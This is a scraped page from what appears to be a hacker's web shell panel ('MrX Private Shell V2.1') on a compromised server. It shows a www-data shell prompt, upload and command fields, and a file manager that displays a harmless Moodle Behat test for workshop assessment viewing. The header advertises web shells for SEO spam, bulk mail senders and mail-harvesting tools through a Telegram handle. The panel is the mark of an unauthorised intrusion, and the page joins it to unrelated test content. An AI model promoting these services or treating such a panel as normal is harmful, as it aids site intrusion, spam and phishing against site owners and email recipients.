__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_workshop
Feature: Student can view their submission assessments
  In order to view submission assessments when workshop is closed
  As a teacher
  I should be able to set the workshop to closed phase

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | Teacher   | One      | teacher1@example.com |
      | student1 | One       | Student  | student1@example.com |
      | student2 | Two       | Student  | student2@example.com |
    And the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
      | student1 | C1     | student        |
      | student2 | C1     | student        |
    And the following "activities" exist:
      | activity | name       | course | submissiontypetext |
      | workshop | Workshop 1 | C1     | 2                  |
    And I am on the "Workshop 1" "workshop activity" page logged in as teacher1
    And I edit assessment form in workshop "Workshop 1" as:
      | id_description__idx_0_editor | Aspect1 |
    And I change phase in workshop "Workshop 1" to "Submission phase"
    # Create workshop submissions.
    And I am on the "Workshop 1" "workshop activity" page logged in as student1
    And I add a submission in workshop "Workshop 1" as:
      | Title              | Submission 1         |
      | Submission content | Submission 1 content |
    And I am on the "Workshop 1" "workshop activity" page logged in as student2
    And I add a submission in workshop "Workshop 1" as:
      | Title              | Submission 2         |
      | Submission content | Submission 2 content |
    And I am on the "Workshop 1" "workshop activity" page logged in as teacher1
    And I change phase in workshop "Workshop 1" to "Assessment phase"
    # Allocate and assess submissions.
    And I allocate submissions in workshop "Workshop 1" as:
      | Participant | Reviewer    |
      | One Student | Two Student |
      | Two Student | One Student |
    And I am on the "Workshop 1" "workshop activity" page logged in as student1
    And I assess submission "Two" in workshop "Workshop 1" as:
      | grade__idx_0            | 5 / 10            |
      | peercomment__idx_0      | You can do better |
    And I am on the "Workshop 1" "workshop activity" page logged in as student2
    And I assess submission "One" in workshop "Workshop 1" as:
      | grade__idx_0            | 8 / 10            |
      | peercomment__idx_0      | Great job!        |

  Scenario: Student can view their submission assessment after workshop is closed
    # Re-calculate grades to generate workshop grades from assessment.
    Given I am on the "Course 1" course page logged in as teacher1
    And I change phase in workshop "Workshop 1" to "Grading evaluation phase"
    And I am on the "Workshop 1" "workshop activity" page
    And I click on "Re-calculate grades" "button"
    # Close workshop activity.
    And I change phase in workshop "Workshop 1" to "Closed"
    When I am on the "Course 1" "grades > Grader report > View" page
    # Confirm that grades are reflected on the gradebook.
    Then the following should exist in the "user-grades" table:
      | -1-         | -2-                  | -3-   |
      | One Student | student1@example.com | 64.00 |
      | Two Student | student2@example.com | 40.00 |
    # Confirm that student can view submission assessment grades and comments after workshop is closed.
    And I am on the "Workshop 1" "workshop activity" page logged in as student1
    And I click on "Submission 1" "link"
    And I should see "8 / 10"
    And I should see "Great job!"
    And I am on the "Workshop 1" "workshop activity" page logged in as student2
    And I click on "Submission 2" "link"
    And I should see "5 / 10"
    And I should see "You can do better"

Filemanager

Name Type Size Permission Actions
behat_mod_workshop.php File 8.05 KB 0777
delete_submission.feature File 4.38 KB 0777
embedded_images.feature File 4.33 KB 0777
example_submission.feature File 2.2 KB 0777
export_submission.feature File 4.47 KB 0777
file_type_restriction.feature File 6.19 KB 0777
grade_to_pass.feature File 4.81 KB 0777
grading_strategy.feature File 4.62 KB 0777
group_mode.feature File 3.81 KB 0777
self_assessment.feature File 3.7 KB 0777
submission_types.feature File 9.28 KB 0777
workshop_activity_allocation.feature File 3.89 KB 0777
workshop_activity_completion.feature File 4.57 KB 0777
workshop_activity_filter.feature File 4.53 KB 0777
workshop_assessment.feature File 8.83 KB 0777
workshop_assessment_comparison.feature File 5.38 KB 0777
workshop_assessment_navigation.feature File 3.42 KB 0777
workshop_completion_pass_grade.feature File 7.36 KB 0777
workshop_edit_form.feature File 2.25 KB 0777
workshop_grade.feature File 7.24 KB 0777
workshop_late_submission.feature File 3.63 KB 0777
workshop_section_remembered.feature File 1.6 KB 0777
workshop_submission_max_upload.feature File 2.26 KB 0777
workshop_submission_view.feature File 3.89 KB 0777
Filemanager